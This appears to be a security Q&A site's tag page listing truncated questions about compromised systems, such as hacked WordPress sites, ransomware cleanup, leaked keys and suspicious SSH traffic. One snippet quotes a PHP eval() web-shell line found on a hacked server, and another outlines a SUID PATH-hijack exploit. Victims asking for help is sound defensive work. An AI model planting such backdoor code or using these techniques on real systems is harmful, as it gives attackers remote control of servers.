Questions tagged [system-compromise]

Dealing with a system compromise: your defenses failed, now what?

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Help with this hash practice question [closed]

I come across this question and I am unable to understand why the answer is the third hash (3:30) under the /boot/ section. What exactly is the giveaway? https://comptiaexamtest.com/Security+SY0-501/...
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How do maintainers calculate x number of accounts compromised by hack? [closed]

I am always curious by reports in the news of big network sites getting hacked and the report confidently stating a statistic such as "only 10,000 users were affected" or "Microsoft confirms 40,000 ...
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I've nuked it from orbit, now what?

Last night I was checking my router because I noticed some sluggishness with my connection. I opened a connections monitor and saw my computer was sending significant UDP traffic to an IP address on ...
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DDoS: calculating server threshold for requests

There's a question on infosec stack exchange here that is similar but not the same as what I want to know: Threshold for DDOS Attack I want to know how to calculate the amount of requests, and/or ...
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Compromise of a Public JS Library

I was listening to a podcast about cybersecurity, and I heard that a public JavaScript library was compromised by attackers who injected a credit card scraper into the library, and then every site ...
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Wordpress m4shell Hack [duplicate]

I could not find any similar error after searching the web and struggling with the problem for around two weeks. One of the Wordpress sites I'm managing keeps getting hacked. There has been no ...
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Help in understnading HIDS OSSEC traces

I realized my system Ubuntu and windows dual boot might have been compromised. So, I installed OSSEC HIDS to try to look for issues. When I ran dmesg, i found the following trace: ------------[ cut ...
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118 views

Logged in with a hacker's email address

I have an active account at ebay-kleinanzeigen.de (like Craigslist in the US). Today I got a valid email from them that my email address was changed. On my mac, I opened up my ebay-kleinanzeigen ...
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84 views

What authentication systems have been involved in data breaches?

Recently, a Federal Judge ordered Marriott to reveal the forensics report for its data breach. I know the Courts have sided with businesses in the past to keep the forensic details of breaches from ...
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What should I do next on my GPG key after my computer is seized by authority?

Unfortunately, although my keys are protected by password, I am afraid it is not strong enough. I assume I lost control of all my private keys now. I still have backup of my private keys, what I want ...
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109 views

Differences between compromised shared hosting and dedicated/virtual hosting

My webspace has been compromised as explained on this answered question. While looking for advice on other q&a it seems to me in the answers it is assumed the compromised system is a full ...
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Would encrypting a database protect against a compromised admin account?

I was discussing with someone ways to prevent data disclosure from a compromised admin account on a database server. The other person proposed encrypting the data at rest within the database. It ...
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Received ransom email containing my password. How did they get my password?

Finally, even I got the fabled ransomware emails we've all heard about so much. First, let's look at the facts before I get to my question: I use Mozilla Thunderbird as my email client. I was ...
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599 views

I am a political activist, its likely that my computer will be compromised in the future, how can I secure my data?

I have sensitive data to secure. My computer may likely be compromised physically in the future. How can I secure my date from various attacks like Evil Maid attacks and so forth. I have some basic ...
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2answers
379 views

How to verify a private key has not been compromised?

I have a machine with a process that signs code for users running 24/7 (encrypting the key is not possible), which will be protected as well as possible. Is there a way to set things up such that I ...
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96 views

What are the security implications if systemd is not restarted after it has been updated?

My understanding is that systemd is the parent process for all other processes running on Linux. If systemd has been updated on production devices such as servers and the service is not restarted, ...
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Decrypting possibly compromised Veracrypt hard drive

I have a Veracrypt encrypted hard drive, a system drive encryption with the operating system. The laptop is possibly compromised, which is why I can't decrypt it directly on the laptop I don't know ...
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IBM warns to move data out of insecure encryption schemes, but where to? [duplicate]

I'm currently using GnuPG (RSA 4096), Encryption-based DLP, SSL, SSL-VPN, Password Manager and other apps considered insecure by the IBM research team, who favor Lattice encryption over the standard ...
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471 views

How was IronChat compromised?

How was IronChat compromised? https://hotforsecurity.bitdefender.com/blog/police-crack-encrypted-chat-service-ironchat-and-read-258000-messages-from-suspected-criminals-20530.html Dutch police have ...
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Are kernel mode drivers harder to compromise? [closed]

Of course the effects of a compromised kernel mode driver are more disastrous, but are they harder to compromise in the first place?
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191 views

Best Source of Security Configuration Guidance

Over the years I have used a number of different sources of security configuration guidance for a spectrum of systems including for example: https://www.cisecurity.org/cis-benchmarks/ https://www....
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2answers
152 views

Is it a good idea to have a new laptop just to generate 2FA keys?

I am very concerned about people putting keyloggers or trojans on my computer. That can happen because I use my computers for many things. Work. Playing games. Watching movies. Accessing many ...
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1answer
278 views

Server protection measures from authorities

I am on a project which is illegal in my nation but is not illegal anywhere in the world. In order not to get a 100yr sentence I should be prepared for seizures and forensics. I am running a server ...
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1answer
187 views

Port Knock logs suggest machine has been compromised?

On my CentOS machine, all my ports are filtered with the Iptables rule: DROP all -- * * 0.0.0.0/0 0.0.0.0/0 So from the Internet, every port timeouts. The only way to ...
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1answer
593 views

SSH Outbound. Tracking down the process

I was pulled up by my ISP in work for having a machine making dozens of outbound SSH connections. I tracked down the machine and took it off the network. Problem is there are several other machines ...
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115 views

Firefox directs me to strange chinese error page, is my security compromised?

Today I was working on a project on my localhost ( I'm a web developer ), when I noticed Firefox is showing a message that means I need to login to my ISP before I can start browsing ( The ...
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1answer
366 views

ROP Attack :Force the program to manipulate an instruction as a gadget

I'm doing basic exploitation test on a simple program with fiew lines of code. I intend to exploit a buffer overflow vulnerability to perform a ROP attack. To gather the available gadgets I use ...
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1answer
256 views

SUID exploit and patch

I am working on a SUID root binary "app" that runs a system("ls -la /dir") command. I managed to exploit it by writing a malicious replacement ls that starts a shell, and changed my user's $PATH such ...
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8answers
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How can Twitter and GitHub be sure that they haven't been hacked?

Yesterday, Twitter anounced that they recently identified a bug that stored passwords unmasked in an internal log. Recently, Github also had a similar bug. In both cases, they claim that nobody had ...
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1answer
127 views

Being directed to hacked site only when searched through Yahoo

A local wolf sanctuary had just posted a warning on Facebook to not visit their site because it had been hacked. However, it only sends you to the hacked site when searching through Yahoo. I was ...
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101 views

How to forbid hackers on a Joomla website? [closed]

My Joomla website was the victim of a hacker attack recently. Hackers had access to my server and added some PHP files and mostly modified some index.php files. THe code is unfortunately ...
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1answer
170 views

My local machine was infected with malware from a clients web server

I have a client that I developed a new site for, it's not live yet because he wanted me to backup the old site first. This was a completely custom "directory" type site and the company that built it (...
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1answer
180 views

A bot edited all pages on my Wordpress installation

I manage a Wordpress site for an event registration. The site is only active for a few months a year. The rest of the year it's idle, as in it's up, but not actively maintained. Now the time has come ...
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1answer
378 views

PHP Backdoor on live server [duplicate]

Suddenly one of our Wordpress websites started sending spam emails and it was blacklisted on MXToolBox. So with the server support I scaned the files and found a strange file called timer.php ...
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1answer
137 views

How exactly can a public server be compromised? [closed]

I'm in the process of setting up a network and it needs a site for users to be accessible on the internet. I keep reading about not having a public server on a local network, domain etc etc. And that ...
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2answers
309 views

How to address application database compromise

I recently came across a scenario in an assessment regarding IT security. I am new to this area and my knowledge is limited so I'm not sure if my answer to the scenario is suitable or not. Will really ...
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2answers
3k views

Weird URL showed when telnet to my server [closed]

I don't know how to ask this because this is something new for me, I try telnet to my server and the output was like this: Trying <IP>... Connected to www.tjto6u0e.site. Escape character is '^]'...
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3answers
948 views

Improve RDP security: router with VPN or IP whitelist on firewall

I am considering to improve the security setting on our workstation shared within the university lab. We are sharing the workstation among lab members with RDP and got compromised recently. I highly ...
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3answers
492 views

How can I determine from where injected script came from?

I have a server that currently has been hacked. Files are being created on my server which has content of this type: if(isset($_REQUEST['oUS'])){/*PJEG*/eval($_REQUEST['oUS']);/*z*/exit;/*Lv*/} Or ...
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1answer
240 views

Why would an attacker authenticate to my Google Search Console?

Someone uploaded (I don't know how how but I think via my Wordpress which was outdated for just a day...) a Google Search Console authentication to my server. I just realized this because Google ...
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3answers
161 views

How to reset account passwords after falling victim to password reuse?

I recently had one of my accounts compromised after falling victim to an online phishing scam. To make matters worse, while I've used unique passwords for any account created in the past few years, my ...
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2answers
948 views

I'm using SSH with key based authentication and I believe my server has been hacked

Today, I saw my server is heavily loaded. When I began digging I saw that someone logged in as root (despite root user not having a password), installed miner, and ran screen. SSH listening on other ...
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5answers
7k views

KeePass security local malware

Can a malware that infected your local computer compromise a KeePass database stored locally in any way? If yes, what's the point for KeePass to have such strong security mechanisms if it cannot ...
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2answers
3k views

Ransomware - Full disk wipe versus formatting

Typically when I encounter ransomware/cryptoware on a device I will fully wipe the drive(s) with at least one pass using a utility such as DBAN. I sometimes wonder if I am overestimating the potential ...
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1answer
225 views

Reality check: what actions should be taken if an hack attempt seems to be a false positive

Premise: Some time ago a friend of mine created a Microsoft based mail account (Live Id/Microsoft Account. He just needed the mail) to use for receiving some messages. The account was created and ...
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1answer
105 views

One computer on our network was hacked and stole hundreds of accounts on different websites - what are correct steps to take?

Someone in our company long time ago downloaded infected Windows Server copy from torrent site and kept it as test server in our network till now. Recently, our administrator noticed huge outgoing ...
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56 views

Empire listener compromised?

I've been messing around with Empire powershell post exploitation toolkit for a little while now. I've been "infecting" my home PC with a malicious payload and trying to gain persistence/admin access, ...
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1answer
87 views

Can using simultaneous intrusion detection systems (IDS) create conflicts?

Can simultaneously using 2 or more intrusion detection systems (IDS) on the same computer or network create conflicts ? Talking about tools (as examples) such as but not limited to: tripwire, bro, ...
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209 views

security breach: php file edited on codeigniter site, ubuntu server

I run a file sharing site, built on Codeigniter, PHP 7. We recently found one of the files in our www/application/controllers dir was very slightly edited to change a download request for 1 in every 3 ...
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49 views

Deny/Identify compromised machine sending information to a server?

i was wondering - consider i have 2 machines - client and server. the Client is opened to the internet, and sends very sensitive data to the server. If fake data will be sent to the server and is ...